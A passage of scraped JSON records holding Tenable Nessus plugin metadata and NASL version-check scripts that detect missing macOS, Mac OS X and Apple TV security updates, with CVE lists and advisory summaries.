Underflow RCE');\n script_set_attribute(attribute:\"exploit_framework_metasploit\", value:\"true\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2019/10/28\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2020/01/23\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2020/02/07\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:apple:mac_os_x\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:apple:macos\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"MacOS X Local Security Checks\");\n\n script_copyright(english:\"This script is Copyright (C) 2020-2022 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"ssh_get_info.nasl\", \"os_fingerprint.nasl\");\n script_require_ports(\"Host/MacOSX/Version\", \"Host/OS\");\n\n exit(0);\n}\n\ninclude('lists.inc');\ninclude('vcf.inc');\ninclude('vcf_extras_apple.inc');\n\napp_info = vcf::apple::macos::get_app_info();\n\nconstraints = [\n { 'max_version' : '10.13.6', 'min_version' : '10.13', 'fixed_build': '17G11023', 'fixed_display' : '10.13.6 Security Update 2020-001' },\n { 'max_version' : '10.14.6', 'min_version' : '10.14', 'fixed_build': '18G3020', 'fixed_display' : '10.14.6 Security Update 2020-001' },\n { 'max_version' : '10.15.2', 'min_version' : '10.15', 'fixed_build': '19D76', 'fixed_display' : '10.15.3 MacOS Catalina 10.15.3' }\n];\n\nvcf::apple::macos::check_version_and_report(app_info:app_info, constraints:constraints, severity:SECURITY_HOLE);\n\n", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2023-05-18T15:34:07", "description": "The remote host is running a version of macOS / Mac OS X that is 12.x prior to 12.0.1 Monterey. It is, therefore, affected by multiple vulnerabilities including the following:\n\n - Exploitation of this vulnerability may lead to arbitrary code execution with kernel privileges. (CVE-2021-30899, CVE-2021-30824, CVE-2021-30901, CVE-2021-30821, CVE-2021-30883, CVE-2021-30886, CVE-2021-30909, CVE-2021-30916, CVE-2021-30868)\n\n - Exploitation of this vulnerability may lead to elevation of privileges. (CVE-2021-30873, CVE-2021-30907, CVE-2021-30906)\n\n - Exploitation of this vulnerability may lead to information disclosure. ( CVE-2021-30876, CVE-2021-30879, CVE-2021-30906, CVE-2021-30905, CVE-2021-30895, CVE-2021-30896, CVE-2021-30910, CVE-2021-30911, CVE-2021-30920, CVE-2021-30912, CVE-2021-30888)\n\nNote that Nessus has not tested for this issue but has instead relied only on the operating system's self-reported version number.", "cvss3": {}, "published": "2021-10-29T00:00:00", "type": "nessus", "title": "macOS 12.x < 12.0.1 (HT212869)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2021-30813", "CVE-2021-30821", "CVE-2021-30823", "CVE-2021-30824", "CVE-2021-30833", "CVE-2021-30861", "CVE-2021-30864", "CVE-2021-30868", "CVE-2021-30873", "CVE-2021-30876", "CVE-2021-30877", "CVE-2021-30879", "CVE-2021-30880", "CVE-2021-30881", "CVE-2021-30883", "CVE-2021-30886", "CVE-2021-30887", "CVE-2021-30888", "CVE-2021-30889", "CVE-2021-30890", "CVE-2021-30892", "CVE-2021-30895", "CVE-2021-30896", "CVE-2021-30899", "CVE-2021-30901", "CVE-2021-30903", "CVE-2021-30905", "CVE-2021-30906", "CVE-2021-30907", "CVE-2021-30908", "CVE-2021-30909", "CVE-2021-30910", "CVE-2021-30911", "CVE-2021-30912", "CVE-2021-30913", "CVE-2021-30915", "CVE-2021-30916", "CVE-2021-30917", "CVE-2021-30919", "CVE-2021-30920"], "modified": "2023-04-25T00:00:00", "cpe": ["cpe:/o:apple:mac_os_x", "cpe:/o:apple:macos"], "id": "MACOS_HT212869.NASL", "href": "https://www.tenable.com/plugins/nessus/154711", "sourceData": "#%NASL_MIN_LEVEL 70300\n##\n# (C) Tenable Network Security, Inc.\n##\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(154711);\n script_version(\"1.8\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2023/04/25\");\n\n script_cve_id(\n \"CVE-2021-30813\",\n \"CVE-2021-30821\",\n \"CVE-2021-30823\",\n \"CVE-2021-30824\",\n \"CVE-2021-30833\",\n \"CVE-2021-30861\",\n \"CVE-2021-30864\",\n \"CVE-2021-30868\",\n \"CVE-2021-30873\",\n \"CVE-2021-30876\",\n \"CVE-2021-30877\",\n \"CVE-2021-30879\",\n \"CVE-2021-30880\",\n \"CVE-2021-30881\",\n \"CVE-2021-30883\",\n \"CVE-2021-30886\",\n \"CVE-2021-30887\",\n \"CVE-2021-30888\",\n \"CVE-2021-30889\",\n \"CVE-2021-30890\",\n \"CVE-2021-30892\",\n \"CVE-2021-30895\",\n \"CVE-2021-30896\",\n \"CVE-2021-30899\",\n \"CVE-2021-30901\",\n \"CVE-2021-30903\",\n \"CVE-2021-30905\",\n \"CVE-2021-30906\",\n \"CVE-2021-30907\",\n \"CVE-2021-30908\",\n \"CVE-2021-30909\",\n \"CVE-2021-30910\",\n \"CVE-2021-30911\",\n \"CVE-2021-30912\",\n \"CVE-2021-30913\",\n \"CVE-2021-30915\",\n \"CVE-2021-30916\",\n \"CVE-2021-30917\",\n \"CVE-2021-30919\",\n \"CVE-2021-30920\"\n );\n script_xref(name:\"APPLE-SA\", value:\"HT212869\");\n script_xref(name:\"APPLE-SA\", value:\"APPLE-SA-2021-10-26-3\");\n script_xref(name:\"IAVA\", value:\"2021-A-0505-S\");\n script_xref(name:\"CISA-KNOWN-EXPLOITED\", value:\"2022/06/13\");\n\n script_name(english:\"macOS 12.x < 12.0.1 (HT212869)\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote host is missing a macOS security update.\");\n script_set_attribute(attribute:\"description\", value:\n\"The remote host is running a version of macOS / Mac OS X that is 12.x prior to 12.0.1 Monterey. It is, therefore,\naffected by multiple vulnerabilities including the following:\n\n - Exploitation of this vulnerability may lead to arbitrary code execution with kernel privileges. (CVE-2021-30899, \n CVE-2021-30824, CVE-2021-30901, CVE-2021-30821, CVE-2021-30883, CVE-2021-30886, CVE-2021-30909, CVE-2021-30916, \n CVE-2021-30868)\n\n - Exploitation of this vulnerability may lead to elevation of privileges. (CVE-2021-30873, CVE-2021-30907, \n CVE-2021-30906)\n\n - Exploitation of this vulnerability may lead to information disclosure. ( CVE-2021-30876, CVE-2021-30879, \n CVE-2021-30906, CVE-2021-30905, CVE-2021-30895, CVE-2021-30896, CVE-2021-30910, CVE-2021-30911, CVE-2021-30920,\n CVE-2021-30912, CVE-2021-30888)\n\nNote that Nessus has not tested for this issue but has instead relied only on the operating system's self-reported\nversion number.\");\n script_set_attribute(attribute:\"see_also\", value:\"https://support.apple.com/en-gb/HT212869\");\n script_set_attribute(attribute:\"solution\", value:\n\"Upgrade to macOS 12.0.1 or later.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:F/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:F/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2021-30916\");\n script_set_attribute(attribute:\"cvss3_score_source\", value:\"CVE-2021-30889\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2021/10/25\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2021/10/25\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2021/10/29\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:apple:mac_os_x\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:apple:macos\");\n script_set_attribute(attribute:\"stig_severity\", value:\"I\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"MacOS X Local Security Checks\");\n\n script_copyright(english:\"This script is Copyright (C) 2021-2023 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_ports(\"Host/MacOSX/Version\", \"Host/local_checks_enabled\", \"Host/MacOSX/packages/boms\");\n\n exit(0);\n}\n\ninclude('vcf.inc');\ninclude('vcf_extras_apple.inc');\n\nvar app_info = vcf::apple::macos::get_app_info();\nvar constraints = [{'min_version': '12.0', 'fixed_version': '12.0.1', 'fixed_display': 'macOS Monterey 12.0.1'}];\n\nvcf::apple::macos::check_version_and_report(\n app_info:app_info,\n constraints:constraints,\n severity:SECURITY_HOLE\n);", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2021-08-29T00:22:13", "description": "According to its banner, the version of Apple TV on the remote device is prior to 12.3. It is therefore affected by multiple vulnerabilities as described in the HT210120 security advisory:\n\n - Multiple unspecified command execution vulnerabilities exist that allow an attacker to execute arbitrary commands, sometimes with kernel privileges.(CVE-2019-8593, CVE-2019-8585, CVE-2019-8605, CVE-2019-8600, CVE-2019-8574) \n - Multiple elevation of privilege vulnerabilities exist due to improper memory handling. An application can exploit this to gain elevated privileges. (CVE-2019-6237 CVE-2019-8571, CVE-2019-8583, CVE-2019-8584, CVE-2019-8586, CVE-2019-8587, CVE-2019-8594, CVE-2019-8595, CVE-2019-8596, CVE-2019-8597, CVE-2019-8601, CVE-2019-8608) \n - An un disclosed elevation of privilege vulnerability exist due to improper memory handling. An application can exploit this to gain elevated privileges. (CVE-2019-8602)", "cvss3": {}, "published": "2019-05-15T00:00:00", "type": "nessus", "title": "Apple TV < 12.3 Multiple Vulnerabilities", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2019-6237", "CVE-2019-8560", "CVE-2019-8568", "CVE-2019-8571", "CVE-2019-8574", "CVE-2019-8576", "CVE-2019-8577", "CVE-2019-8583", "CVE-2019-8584", "CVE-2019-8585", "CVE-2019-8586", "CVE-2019-8587", "CVE-2019-8591", "CVE-2019-8593", "CVE-2019-8594", "CVE-2019-8595", "CVE-2019-8596", "CVE-2019-8597", "CVE-2019-8598", "CVE-2019-8600", "CVE-2019-8601", "CVE-2019-8602", "CVE-2019-8605", "CVE-2019-8607", "CVE-2019-8608", "CVE-2019-8609", "CVE-2019-8610", "CVE-2019-8611", "CVE-2019-8615", "CVE-2019-8619", "CVE-2019-8620", "CVE-2019-8622", "CVE-2019-8623", "CVE-2019-8628", "CVE-2019-8637"], "modified": "2020-01-16T00:00:00", "cpe": ["cpe:/a:apple:apple_tv"], "id": "APPLETV_12_3.NASL", "href": "https://www.tenable.com/plugins/nessus/125148", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(125148);\n script_version(\"1.3\");\n script_cvs_date(\"Date: 2020/01/16\");\n\n script_cve_id(\n \"CVE-2019-6237\",\n \"CVE-2019-8560\",\n \"CVE-2019-8568\",\n \"CVE-2019-8571\",\n \"CVE-2019-8574\",\n \"CVE-2019-8576\",\n \"CVE-2019-8577\",\n \"CVE-2019-8583\",\n \"CVE-2019-8584\",\n \"CVE-2019-8585\",\n \"CVE-2019-8586\",\n \"CVE-2019-8587\",\n \"CVE-2019-8591\",\n \"CVE-2019-8593\",\n \"CVE-2019-8594\",\n \"CVE-2019-8595\",\n \"CVE-2019-8596\",\n \"CVE-2019-8597\",\n \"CVE-2019-8598\",\n \"CVE-2019-8600\",\n \"CVE-2019-8601\",\n \"CVE-2019-8602\",\n \"CVE-2019-8605\",\n \"CVE-2019-8607\",\n \"CVE-2019-8608\",\n \"CVE-2019-8609\",\n \"CVE-2019-8610\",\n \"CVE-2019-8611\",\n \"CVE-2019-8615\",\n \"CVE-2019-8619\",\n \"CVE-2019-8620\",\n \"CVE-2019-8622\",\n \"CVE-2019-8623\",\n \"CVE-2019-8628\",\n \"CVE-2019-8637\"\n );\n script_xref(name:\"APPLE-SA\", value:\"HT210120\");\n script_xref(name:\"APPLE-SA\", value:\"APPLE-SA-2019-05-09\");\n\n script_name(english:\"Apple TV < 12.3 Multiple Vulnerabilities\");\n script_summary(english:\"Checks the build number\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote Apple TV device is affected by multiple vulnerabilities\");\n script_set_attribute(attribute:\"description\", value:\n\"According to its banner, the version of Apple TV on the remote device\nis prior to 12.3. It is therefore affected by multiple vulnerabilities\nas described in the HT210120 security advisory:\n\n - Multiple unspecified command execution vulnerabilities exist that\n allow an attacker to execute arbitrary commands, sometimes with\n kernel privileges.(CVE-2019-8593, CVE-2019-8585, CVE-2019-8605,\n CVE-2019-8600, CVE-2019-8574)\n \n - Multiple elevation of privilege vulnerabilities exist due to\n improper memory handling. An application can exploit this to gain\n elevated privileges. (CVE-2019-6237\n CVE-2019-8571, CVE-2019-8583, CVE-2019-8584, CVE-2019-8586,\n CVE-2019-8587, CVE-2019-8594, CVE-2019-8595, CVE-2019-8596,\n CVE-2019-8597, CVE-2019-8601, CVE-2019-8608)\n \n - An un disclosed elevation of privilege vulnerability exist due to\n improper memory handling. An application can exploit this to gain\n elevated privileges. (CVE-2019-8602)\");\n script_set_attribute(attribute:\"see_also\", value:\"https://support.apple.com/en-us/HT210120\");\n script_set_attribute(attribute:\"solution\", value:\n\"Upgrade to Apple TV version 12.3 or later.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:POC/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:P/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2019-8637\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2019/05/09\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2019/05/09\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2019/05/15\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"remote\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/a:apple:apple_tv\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Misc.\");\n\n script_copyright(english:\"This script is Copyright (C) 2019-2020 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"appletv_version.nasl\");\n script_require_keys(\"AppleTV/Version\", \"AppleTV/Model\", \"AppleTV/URL\", \"AppleTV/Port\");\n script_require_ports(\"Services/www\", 7000);\n\n exit(0);\n}\n\ninclude(\"audit.inc\");\ninclude(\"appletv_func.inc\");\n\nurl = get_kb_item('AppleTV/URL');\nif (empty_or_null(url)) exit(0, 'Cannot determine Apple TV URL.');\nport = get_kb_item('AppleTV/Port');\nif (empty_or_null(port)) exit(0, 'Cannot determine Apple TV port.');\n\nbuild = get_kb_item('AppleTV/Version');\nif (empty_or_null(build)) audit(AUDIT_UNKNOWN_DEVICE_VER, 'Apple TV');\n\nmodel = get_kb_item('AppleTV/Model');\nif (empty_or_null(model)) exit(0, 'Cannot determine Apple TV model.');\n\n# https://en.wikipedia.org/wiki/TvOS\n# 4th gen model \"5,3\" and 5th gen model \"6,2\" share same build\nfixed_build = '16M153';\ntvos_ver = '12.3';\n\n# determine gen from the model\ngen = APPLETV_MODEL_GEN[model];\n\nappletv_check_version(\n build : build,\n fix : fixed_build,\n affected_gen : make_list(4, 5),\n fix_tvos_ver : tvos_ver,\n model : model,\n gen : gen,\n port : port,\n url : url,\n severity : SECURITY_HOLE\n);\n", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-05-25T14:22:55", "description": "The version of Apple tvOS installed on the remote host is greater or equal to 12.0.0 and prior to 12.3. It is, therefore, affected by the following vulnerabilities :\n\n - An application may be able to execute arbitrary code with system privileges. (CVE-2019-8593)\n\n - Processing a maliciously crafted movie file may lead to arbitrary code execution. (CVE-2019-8585)\n\n - A malicious application may be able to read restricted memory. (CVE-2019-8560)\n\n - A malicious application may be able to execute arbitrary code with system privileges. (CVE-2019-8605)\n\n - A local user may be able to cause unexpected system termination or read kernel memory. (CVE-2019-8576)\n\n - An application may be able to cause unexpected system termination or write kernel memory. (CVE-2019-8591)\n\n - A local user may be able to modify protected parts of the file system. (CVE-2019-8568)\n\n - A malicious application may be able to gain root privileges. (CVE-2019-8637)\n\n - An application may be able to gain elevated privileges. (CVE-2019-8577)\n\n - A maliciously crafted SQL query may lead to arbitrary code execution. (CVE-2019-8600)\n\n - A malicious application may be able to read restricted memory. (CVE-2019-8598)\n\n - A malicious application may be able to elevate privileges. (CVE-2019-8602)\n\n - An application may be able to execute arbitrary code with system privileges. (CVE-2019-8574)\n\n - Processing maliciously crafted web content may result in the disclosure of process memory. (CVE-2019-8607)\n\n - Processing maliciously crafted web content may lead to arbitrary code execution. (CVE-2019-6237, CVE-2019-8571, CVE-2019-8583, CVE-2019-8584, CVE-2019-8586, CVE-2019-8587, CVE-2019-8594, CVE-2019-8595, CVE-2019-8596, CVE-2019-8597, CVE-2019-8601, CVE-2019-8608, CVE-2019-8609, CVE-2019-8610, CVE-2019-8611, CVE-2019-8615, CVE-2019-8619, CVE-2019-8622, CVE-2019-8623, CVE-2019-8628)\n\n - A device may be passively tracked by its WiFi MAC address. (CVE-2019-8620)", "cvss3": {}, "published": "2019-05-24T00:00:00", "type": "nessus", "title": "Apple TV 12.0.0 and < 12.3 Multiple Vulnerabilities", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2019-6237", "CVE-2019-8560", "CVE-2019-8568", "CVE-2019-8571", "CVE-2019-8574", "CVE-2019-8576", "CVE-2019-8577", "CVE-2019-8583", "CVE-2019-8584", "CVE-2019-8585", "CVE-2019-8586", "CVE-2019-8587", "CVE-2019-8591", "CVE-2019-8593", "CVE-2019-8594", "CVE-2019-8595", "CVE-2019-8596", "CVE-2019-8597", "CVE-2019-8598", "CVE-2019-8600", "CVE-2019-8601", "CVE-2019-8602", "CVE-2019-8605", "CVE-2019-8607", "CVE-2019-8608", "CVE-2019-8609", "CVE-2019-8610", "CVE-2019-8611", "CVE-2019-8615", "CVE-2019-8619", "CVE-2019-8620", "CVE-2019-8622", "CVE-2019-8623", "CVE-2019-8628", "CVE-2019-8637"], "modified": "2019-05-24T00:00:00", "cpe": ["cpe:/a:apple:apple_tv"], "id": "700719.PRM", "href": "https://www.tenable.com/plugins/nnm/700719", "sourceData": "Binary data 700719.prm", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2021-08-29T00:22:33", "description": "The remote host is running Mac OS X 10.12.6 or Mac OS X 10.13.6 and is missing a security update. It is, therefore, affected by multiple vulnerabilities :\n\n - An application may be able to read restricted memory (CVE-2019-8603, CVE-2019-8560)\n\n - An application may be able to execute arbitrary code with system privileges (CVE-2019-8635, CVE-2019-8616, CVE-2019-8629, CVE-2018-4456, CVE-2019-8604, CVE-2019-8574, CVE-2019-8569)\n\n - An application may be able to execute arbitrary code with kernel privileges (CVE-2019-8590)\n\n - Processing a maliciously crafted audio file may lead to arbitrary code execution (CVE-2019-8592)\n\n - Processing a maliciously crafted movie file may lead to arbitrary code execution (CVE-2019-8585)\n\n - A malicious application may bypass Gatekeeper checks (CVE-2019-8589)\n\n - A malicious application may be able to read restricted memory (CVE-2019-8560, CVE-2019-8598)\n\n - A user may be unexpectedly logged in to another users account (CVE-2019-8634)\n\n - A local user may be able to load unsigned kernel extensions (CVE-2019-8606)\n\n - A malicious application may be able to execute arbitrary code with system privileges (CVE-2019-8605)\n\n - A local user may be able to cause unexpected system termination or read kernel memory (CVE-2019-8576)\n\n - An application may be able to cause unexpected system termination or write kernel memory (CVE-2019-8591)\n\n - An application may be able to gain elevated privileges (CVE-2019-8577)\n\n - A maliciously crafted SQL query may lead to arbitrary code execution (CVE-2019-8600)\n\n - A malicious application may be able to elevate privileges (CVE-2019-8602)\n\n - A local user may be able to modify protected parts of the file system (CVE-2019-8568)\n\n - Processing maliciously crafted web content may lead to arbitrary code execution (CVE-2019-6237, CVE-2019-8571, CVE-2019-8583, CVE-2019-8584, CVE-2019-8586, CVE-2019-8587, CVE-2019-8594, CVE-2019-8595, CVE-2019-8596, CVE-2019-8597, CVE-2019-8601,CVE-2019-8608, CVE-2019-8609, CVE-2019-8610, CVE-2019-8611, CVE-2019-8615, CVE-2019-8619, CVE-2019-8622, CVE-2019-8623, CVE-2019-8628)\n\n - Processing maliciously crafted web content may result in the disclosure of process memory (CVE-2019-8607)\n\nNote that Nessus has not tested for this issue but has instead relied only on the operating system's self-reported version number.", "cvss3": {}, "published": "2019-05-15T00:00:00", "type": "nessus", "title": "macOS and Mac OS X Multiple Vulnerabilities (Security Update 2019-003)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2018-4456", "CVE-2019-6237", "CVE-2019-8560", "CVE-2019-8568", "CVE-2019-8569", "CVE-2019-8571", "CVE-2019-8574", "CVE-2019-8576", "CVE-2019-8577", "CVE-2019-8583", "CVE-2019-8584", "CVE-2019-8585", "CVE-2019-8586", "CVE-2019-8587", "CVE-2019-8589", "CVE-2019-8590", "CVE-2019-8591", "CVE-2019-8592", "CVE-2019-8594", "CVE-2019-8595", "CVE-2019-8596", "CVE-2019-8597", "CVE-2019-8598", "CVE-2019-8600", "CVE-2019-8601", "CVE-2019-8602", "CVE-2019-8603", "CVE-2019-8604", "CVE-2019-8605", "CVE-2019-8606", "CVE-2019-8607", "CVE-2019-8608", "CVE-2019-8609", "CVE-2019-8610", "CVE-2019-8611", "CVE-2019-8615", "CVE-2019-8616", "CVE-2019-8619", "CVE-2019-8622", "CVE-2019-8623", "CVE-2019-8628", "CVE-2019-8629", "CVE-2019-8634", "CVE-2019-8635"], "modified": "2019-12-13T00:00:00", "cpe": ["cpe:/o:apple:mac_os_x", "cpe:/o:apple:macos"], "id": "MACOSX_SECUPD2019-003.NASL", "href": "https://www.tenable.com/plugins/nessus/125151", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(125151);\n script_version(\"1.7\");\n script_cvs_date(\"Date: 2019/12/13\");\n\n script_cve_id(\n \"CVE-2018-4456\",\n \"CVE-2019-6237\",\n \"CVE-2019-8560\",\n \"CVE-2019-8568\",\n \"CVE-2019-8569\",\n \"CVE-2019-8571\",\n \"CVE-2019-8574\",\n \"CVE-2019-8576\",\n \"CVE-2019-8577\",\n \"CVE-2019-8583\",\n \"CVE-2019-8584\",\n \"CVE-2019-8585\",\n \"CVE-2019-8586\",\n \"CVE-2019-8587\",\n \"CVE-2019-8589\",\n \"CVE-2019-8590\",\n \"CVE-2019-8591\",\n \"CVE-2019-8592\",\n \"CVE-2019-8594\",\n \"CVE-2019-8595\",\n \"CVE-2019-8596\",\n \"CVE-2019-8597\",\n \"CVE-2019-8598\",\n \"CVE-2019-8600\",\n \"CVE-2019-8601\",\n \"CVE-2019-8602\",\n \"CVE-2019-8603\",\n \"CVE-2019-8604\",\n \"CVE-2019-8605\",\n \"CVE-2019-8606\",\n \"CVE-2019-8607\",\n \"CVE-2019-8608\",\n \"CVE-2019-8609\",\n \"CVE-2019-8610\",\n \"CVE-2019-8611\",\n \"CVE-2019-8615\",\n \"CVE-2019-8616\",\n \"CVE-2019-8619\",\n \"CVE-2019-8622\",\n \"CVE-2019-8623\",\n \"CVE-2019-8628\",\n \"CVE-2019-8629\",\n \"CVE-2019-8634\",\n \"CVE-2019-8635\"\n );\n script_xref(name:\"APPLE-SA\", value:\"HT210119\");\n script_xref(name:\"APPLE-SA\", value:\"APPLE-SA-2019-05-09\");\n\n script_name(english:\"macOS and Mac OS X Multiple Vulnerabilities (Security Update 2019-003)\");\n script_summary(english:\"Checks the presence of Security Update 2019-003.\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote host is missing a macOS or Mac OS X security update that fixes multiple vulnerabilities\");\n script_set_attribute(attribute:\"description\", value:\n\"The remote host is running Mac OS X 10.12.6 or Mac OS X 10.13.6 and is missing a security update. It is, therefore,\naffected by multiple vulnerabilities :\n\n - An application may be able to read restricted memory (CVE-2019-8603, CVE-2019-8560)\n\n - An application may be able to execute arbitrary code with system privileges (CVE-2019-8635, CVE-2019-8616,\n CVE-2019-8629, CVE-2018-4456, CVE-2019-8604, CVE-2019-8574, CVE-2019-8569)\n\n - An application may be able to execute arbitrary code with kernel privileges (CVE-2019-8590)\n\n - Processing a maliciously crafted audio file may lead to arbitrary code execution (CVE-2019-8592)\n\n - Processing a maliciously crafted movie file may lead to arbitrary code execution (CVE-2019-8585)\n\n - A malicious application may bypass Gatekeeper checks (CVE-2019-8589)\n\n - A malicious application may be able to read restricted memory (CVE-2019-8560, CVE-2019-8598)\n\n - A user may be unexpectedly logged in to another users account (CVE-2019-8634)\n\n - A local user may be able to load unsigned kernel extensions (CVE-2019-8606)\n\n - A malicious application may be able to execute arbitrary code with system privileges (CVE-2019-8605)\n\n - A local user may be able to cause unexpected system termination or read kernel memory (CVE-2019-8576)\n\n - An application may be able to cause unexpected system termination or write kernel memory (CVE-2019-8591)\n\n - An application may be able to gain elevated privileges (CVE-2019-8577)\n\n - A maliciously crafted SQL query may lead to arbitrary code execution (CVE-2019-8600)\n\n - A malicious application may be able to elevate privileges (CVE-2019-8602)\n\n - A local user may be able to modify protected parts of the file system (CVE-2019-8568)\n\n - Processing maliciously crafted web content may lead to arbitrary code execution (CVE-2019-6237, CVE-2019-8571,\n CVE-2019-8583, CVE-2019-8584, CVE-2019-8586, CVE-2019-8587, CVE-2019-8594, CVE-2019-8595, CVE-2019-8596,\n CVE-2019-8597, CVE-2019-8601,CVE-2019-8608, CVE-2019-8609, CVE-2019-8610, CVE-2019-8611, CVE-2019-8615,\n CVE-2019-8619, CVE-2019-8622, CVE-2019-8623, CVE-2019-8628)\n\n - Processing maliciously crafted web content may result in the disclosure of process memory (CVE-2019-8607)\n\nNote that Nessus has not tested for this issue but has instead relied\nonly on the operating system's self-reported version number.\");\n script_set_attribute(attribute:\"see_also\", value:\"https://support.apple.com/en-us/HT210119\");\n script_set_attribute(attribute:\"solution\", value:\"Install Security Update 2019-003 or later for 10.12.x or Security\nUpdate 2019-003 or later for 10.13.x\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:POC/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:P/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2018-4456\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2019/04/03\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2019/05/09\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2019/05/15\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:apple:mac_os_x\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:apple:macos\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"MacOS X Local Security Checks\");\n\n script_copyright(english:\"This script is Copyright (C) 2019 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_ports(\"Host/local_checks_enabled\", \"Host/MacOSX/Version\", \"Host/MacOSX/packages/boms\");\n\n exit(0);\n}\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"misc_func.inc\");\n\n\n\n# Compare 2 patch numbers to determine if patch requirements are satisfied.\n# Return true if this patch or a later patch is applied\n# Return false otherwise\nfunction check_patch(year, number)\n{\n local_var p_split = split(patch, sep:\"-\");\n local_var p_year = int( p_split[0]);\n local_var p_num = int( p_split[1]);\n\n if (year > p_year) return TRUE;\n else if (year < p_year) return FALSE;\n else if (number >= p_num) return TRUE;\n else return FALSE;\n}\n\nget_kb_item_or_exit(\"Host/local_checks_enabled\");\nos = get_kb_item_or_exit(\"Host/MacOSX/Version\");\n\nif (!preg(pattern:\"Mac OS X 10\\.1[2-3]\\.\", string:os))\n audit(AUDIT_OS_NOT, \"Mac OS X 10.12.x / 10.13.x\");\n\npatch = \"2019-003\";\n\npackages = get_kb_item_or_exit(\"Host/MacOSX/packages/boms\", exit_code:1);\nsec_boms_report = pgrep(\n pattern:\"^com\\.apple\\.pkg\\.update\\.(security\\.|os\\.SecUpd).*bom$\",\n string:packages\n);\nsec_boms = split(sec_boms_report, sep:'\\n');\n\nforeach package (sec_boms)\n{\n # Grab patch year and number\n matches = pregmatch(pattern:\"[^0-9](20[0-9][0-9])[-.]([0-9]{3})[^0-9]\", string:package);\n if (empty_or_null(matches)) continue;\n if (empty_or_null(matches[1]) || empty_or_null(matches[2]))\n continue;\n\n patch_found = check_patch(year:int(matches[1]), number:int(matches[2]));\n if 